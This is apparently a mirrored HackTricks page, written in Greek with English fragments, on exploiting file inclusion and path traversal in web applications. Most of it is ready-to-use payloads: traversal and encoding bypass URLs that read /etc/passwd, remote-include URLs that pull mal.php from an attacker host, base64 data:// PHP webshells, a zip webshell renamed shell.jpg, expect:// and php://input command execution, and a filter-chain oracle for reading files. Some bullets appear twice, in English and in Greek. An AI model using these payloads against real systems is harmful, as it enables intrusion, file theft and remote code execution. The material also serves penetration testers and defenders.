mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
692 lines
54 KiB
Markdown
692 lines
54 KiB
Markdown
# File Inclusion/Path traversal
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## File Inclusion
|
||
|
||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο διακομιστή (Καλύτερο: μπορείς να γράψεις τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
|
||
|
||
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
|
||
|
||
Ευάλωτες **PHP functions**: require, require_once, include, include_once
|
||
|
||
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||
|
||
## Blind - Interesting - LFI2RCE files
|
||
```python
|
||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||
```
|
||
### **Linux**
|
||
|
||
**Συνδυάζοντας διάφορες λίστες *nix LFI και προσθέτοντας περισσότερες διαδρομές, δημιούργησα αυτή:**
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||
{{#endref}}
|
||
|
||
Δοκιμάστε επίσης να αλλάξετε `/` για `\`\
|
||
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
|
||
|
||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||
|
||
### **Windows**
|
||
|
||
Συνδυασμός διαφορετικών wordlists:
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||
{{#endref}}
|
||
|
||
Δοκιμάστε επίσης να αλλάξετε `/` για `\`\
|
||
Δοκιμάστε επίσης να αφαιρέσετε `C:/` και να προσθέσετε `../../../../../`
|
||
|
||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||
|
||
### **OS X**
|
||
|
||
Ελέγξτε τη λίστα LFI του linux.
|
||
|
||
## Basic LFI and bypasses
|
||
|
||
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά μπορούν επίσης να εφαρμοστούν σε Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd
|
||
```
|
||
### traversal sequences αφαιρούνται μη αναδρομικά
|
||
```python
|
||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
```
|
||
### **Null byte (%00)**
|
||
|
||
Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd%00
|
||
```
|
||
Αυτό είναι **επιλυμένο από το PHP 5.4**
|
||
|
||
### **Κωδικοποίηση**
|
||
|
||
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
|
||
```
|
||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
```
|
||
### Από υπάρχον φάκελο
|
||
|
||
Ίσως το back-end ελέγχει τη διαδρομή του φακέλου:
|
||
```python
|
||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
```
|
||
### Εξερεύνηση Δομών του File System σε Διακομιστή
|
||
|
||
Το file system ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν directories, όχι μόνο αρχεία, εφαρμόζοντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του directory και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια λεπτομερής μέθοδος για να το επιτύχετε:
|
||
|
||
1. **Προσδιορισμός Βάθους Καταλόγου:** Καθορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (εφαρμόζεται αν ο διακομιστής είναι Linux-based). Ένα παράδειγμα URL μπορεί να έχει τη δομή ως εξής, υποδεικνύοντας βάθος τρία:
|
||
```bash
|
||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||
```
|
||
2. **Ελέγξτε για φακέλους:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επιστρέψτε σε `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
|
||
```bash
|
||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||
```
|
||
3. **Ερμηνεύστε τα Αποτελέσματα:** Ο server's response υποδεικνύει αν ο φάκελος υπάρχει:
|
||
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη τοποθεσία.
|
||
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
|
||
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να ελεγχθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||
|
||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε εάν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
|
||
```bash
|
||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||
```
|
||
### **Path Truncation Technique**
|
||
|
||
Η τεχνική Path Truncation χρησιμοποιείται για τον χειρισμό μονοπατιών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να κατασκευαστεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
|
||
|
||
Στο PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||
|
||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` αντιμετωπίζονται όλα ως το ίδιο μονοπάτι.
|
||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (μετατρέποντάς το σε `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
|
||
- Ομοίως, αν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (π.χ. `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο στο οποίο γίνεται πρόσβαση.
|
||
|
||
Τα παραδείγματα που δίνονται δείχνουν πώς να χρησιμοποιήσετε την path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
|
||
```
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
```
|
||
|
||
```
|
||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
```
|
||
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
|
||
|
||
- **Using Dot Segments and Additional Characters**: Οι traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προστιθέμενες από τον server συμβολοσειρές.
|
||
- **Determining the Required Number of Traversals**: Μέσω δοκιμών και σφαλμάτων, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` sequences που χρειάζονται για να φτάσει στον root κατάλογο και κατόπιν στο `/etc/passwd`, εξασφαλίζοντας ότι οποιεσδήποτε προστιθέμενες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
||
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του server.
|
||
|
||
Όταν χρησιμοποιούνται τεχνικές path truncation, είναι κρίσιμο να κατανοήσουμε τη συμπεριφορά ανάλυσης διαδρομών του server και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητες δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||
|
||
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
|
||
|
||
### **Filter bypass tricks**
|
||
```
|
||
http://example.com/index.php?page=....//....//etc/passwd
|
||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
http://example.com/index.php?page=PhP://filter
|
||
```
|
||
## Remote File Inclusion
|
||
|
||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να συμπεριλάβετε ένα αρχείο PHP από τον server σας και να αποκτήσετε RCE:
|
||
```python
|
||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
```
|
||
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε ένα b64 PHP code και egt RCE:
|
||
```
|
||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||
```
|
||
> [!TIP]
|
||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς junk και ο πραγματικός PHP code θα συμπεριληφθεί (και επομένως θα εκτελεστεί).
|
||
|
||
Ένα άλλο παράδειγμα **που δεν χρησιμοποιεί το `php://` πρωτόκολλο** θα ήταν:
|
||
```
|
||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||
```
|
||
## Python ριζικό στοιχείο
|
||
|
||
Στο Python, σε έναν κώδικα όπως ο παρακάτω:
|
||
```python
|
||
# file_name is controlled by a user
|
||
os.path.join(os.getcwd(), "public", file_name)
|
||
```
|
||
Εάν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, η **previous path** απλώς αφαιρείται:
|
||
```python
|
||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||
'/etc/passwd'
|
||
```
|
||
Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||
|
||
> Εάν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
|
||
|
||
## Java Λίστα Καταλόγων
|
||
|
||
Φαίνεται ότι αν έχεις ένα Path Traversal σε Java και **ζητήσεις έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).
|
||
|
||
## Κορυφαίες 25 παράμετροι
|
||
|
||
Ακολουθεί λίστα με τις 25 κορυφαίες παραμέτρους που μπορεί να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||
```
|
||
?cat={payload}
|
||
?dir={payload}
|
||
?action={payload}
|
||
?board={payload}
|
||
?date={payload}
|
||
?detail={payload}
|
||
?file={payload}
|
||
?download={payload}
|
||
?path={payload}
|
||
?folder={payload}
|
||
?prefix={payload}
|
||
?include={payload}
|
||
?page={payload}
|
||
?inc={payload}
|
||
?locate={payload}
|
||
?show={payload}
|
||
?doc={payload}
|
||
?site={payload}
|
||
?type={payload}
|
||
?view={payload}
|
||
?content={payload}
|
||
?document={payload}
|
||
?layout={payload}
|
||
?mod={payload}
|
||
?conf={payload}
|
||
```
|
||
## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
|
||
|
||
### php://filter
|
||
|
||
Τα PHP φίλτρα επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
||
|
||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||
- `string.rot13`
|
||
- `string.toupper`
|
||
- `string.tolower`
|
||
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται μεταξύ των χαρακτήρων "<" και ">")
|
||
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
|
||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||
- `convert.base64-encode`
|
||
- `convert.base64-decode`
|
||
- `convert.quoted-printable-encode`
|
||
- `convert.quoted-printable-decode`
|
||
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να λάβετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται, τρέξτε στην κονσόλα: `iconv -l`
|
||
|
||
> [!WARNING]
|
||
> Κακοποιώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **παράγετε αυθαίρετο κείμενο**, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως το include να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||
|
||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο εάν εξάγετε πολλά δεδομένα)
|
||
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
|
||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||
- `mcrypt.*` : Αποσυρμένο
|
||
- `mdecrypt.*` : Αποσυρμένο
|
||
- Άλλα φίλτρα
|
||
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **απροσδόκητα φίλτρα**:
|
||
- `consumed`
|
||
- `dechunk`: αντιστρέφει το HTTP chunked encoding
|
||
- `convert.*`
|
||
```php
|
||
# String Filters
|
||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
||
## Same chain without the "|" char
|
||
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
||
## string.string_tags example
|
||
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
||
|
||
# Conversion filter
|
||
## B64 decode
|
||
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
||
## Chain B64 encode and decode
|
||
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
||
## convert.quoted-printable-encode example
|
||
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
||
=C2=A3hellooo=3D
|
||
## convert.iconv.utf-8.utf-16le
|
||
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
||
|
||
# Compresion Filter
|
||
## Compress + B64
|
||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||
```
|
||
> [!WARNING]
|
||
> Το μέρος "php://filter" δεν κάνει διάκριση πεζών/κεφαλαίων
|
||
|
||
### Using php filters as oracle to read arbitrary files
|
||
|
||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβαστεί ένα τοπικό αρχείο χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει το php να ρίξει μια εξαίρεση.
|
||
|
||
Στην αρχική ανάρτηση θα βρείτε λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
|
||
|
||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να διατηρήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||
- Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** ώστε το php να ενεργοποιήσει ένα **σφάλμα**
|
||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hex**, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι hex.
|
||
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
|
||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντευμένο γράμμα), μας επιτρέπει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετούς μετασχηματισμούς ώστε να μην είναι πλέον ένας hexadecimal χαρακτήρας. Εφόσον είναι hex, το dechunk δεν θα τον διαγράψει και η αρχική «βόμβα» θα προκαλέσει php σφάλμα.
|
||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||
- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a`, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec: a->b->c->d->e->f->g, το γράμμα δεν είναι πλέον hex, επομένως το dechunk δεν το διαγράφει και το php σφάλμα ενεργοποιείται λόγω του πολλαπλασιασμού με την αρχική «βόμβα».
|
||
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
||
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή, είναι δυνατό να leak άλλα chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
|
||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να γίνει base64 encode και να leak τα 2 πρώτα γράμματα για να leak τον αριθμό.
|
||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε τη σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||
- Και για να μπορέσουμε να πάρουμε **further data** η ιδέα είναι να **παράξουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** ώστε να γίνει **pivot με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για leak.
|
||
|
||
Στην ανάρτηση υπάρχει επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||
|
||
### php://fd
|
||
|
||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||
```php
|
||
echo file_get_contents("php://fd/3");
|
||
$myfile = fopen("/etc/passwd", "r");
|
||
```
|
||
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
|
||
|
||
### zip:// και rar://
|
||
|
||
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
|
||
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, **πρέπει να ενεργοποιηθεί ειδικά**.
|
||
```bash
|
||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||
zip payload.zip payload.php;
|
||
mv payload.zip shell.jpg;
|
||
rm payload.php
|
||
|
||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||
|
||
# To compress with rar
|
||
rar a payload.rar payload.php;
|
||
mv payload.rar shell.jpg;
|
||
rm payload.php
|
||
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
||
```
|
||
### data://
|
||
```
|
||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php **`allow_url_open`** και **`allow_url_include`**
|
||
|
||
### expect://
|
||
|
||
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
|
||
```
|
||
http://example.com/index.php?page=expect://id
|
||
http://example.com/index.php?page=expect://ls
|
||
```
|
||
### input://
|
||
|
||
Καθορίστε το payload σας στις παραμέτρους POST:
|
||
```bash
|
||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||
```
|
||
### phar://
|
||
|
||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως την `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||
```php
|
||
<?php
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||
$phar->stopBuffering();
|
||
```
|
||
Για να μεταγλωττιστεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
|
||
```bash
|
||
php --define phar.readonly=0 create_path.php
|
||
```
|
||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
||
|
||
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν — μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()` — μπορεί να επιχειρηθεί η εκμετάλλευση μίας ευπάθειας αποσειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||
|
||
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσειριοποίησης στο πλαίσιο αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
|
||
|
||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||
|
||
|
||
{{#ref}}
|
||
phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
### CVE-2024-2961
|
||
|
||
Ήταν εφικτό να εκμεταλλευτεί κανείς **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτήσει RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτήν την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||
Πολύ σύντομη περίληψη: μια **υπερροή 3 byte** στη μνήμη heap του PHP εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των ελεύθερων chunks** ενός συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **εγγραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλεί **`system`**.\
|
||
Μπορούσε να γίνει allocation chunks συγκεκριμένων μεγεθών με την κατάχρηση επιπλέον php filters.
|
||
|
||
### Περισσότερα πρωτόκολλα
|
||
|
||
Δείτε περισσότερα πιθανά [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||
|
||
